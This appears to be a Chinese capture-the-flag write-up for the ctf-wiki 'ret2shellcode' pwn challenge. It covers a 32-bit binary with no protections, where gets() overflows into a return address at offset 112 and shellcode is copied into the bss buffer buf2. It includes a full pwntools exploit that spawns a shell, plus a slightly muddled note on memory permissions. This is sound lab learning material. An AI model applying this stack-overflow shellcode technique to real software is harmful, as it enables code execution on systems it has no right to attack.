T3 ret2shellcode 1 (bss段写入)
2023-01-15WP
ctf-wiki pwn
考点:栈溢出 shellcode
0x01
file,checksec —— 32bit,啥保护都没开
0x02
IDA查看源码,没有system函数和/bin/sh字符串
并且可以看到,main函数中,gets函数读取用户输入到变量s,strcnp将s中的字符串复制到buf2处
buf2并没有在main函数中看到定义,应该是全局变量,进一步查看buf2在bss段中
0x03
通过vmmap我们可以查看bss段是否具有可执行权限
rw-p,可读可写
(这里操作上要注意一下,vmmap的命令要在程序运行时使用,可以给程序下断点或者ctrl+C停住程序再输命令)
0x04
有执行权限的话就可以向bss段写入shellcode了,之后控制程序返回执行shellcode
在写exp之前还要先计算偏移量,方法和ret2text类似,与之前的偏移量都是一样的
用gdb调试或者爆破求出偏移量为112
使用shellcraft.sh()生成shellcode,并且用shellcode.ljust()方法向左对齐补齐字符串,溢出填充返回地址
exp为
from pwn import *
p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
p.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
p.interactive()
0x05
好像shellcode写在栈或者bss段上都可以吧?
网上看到一个解释说不能直接把shellcode写在栈上?不知道对不对:
绝大多数的操作系统都默认开启ASLR保护,这大大提高了攻击栈的难度。因此,栈应当是我们最后考虑的对象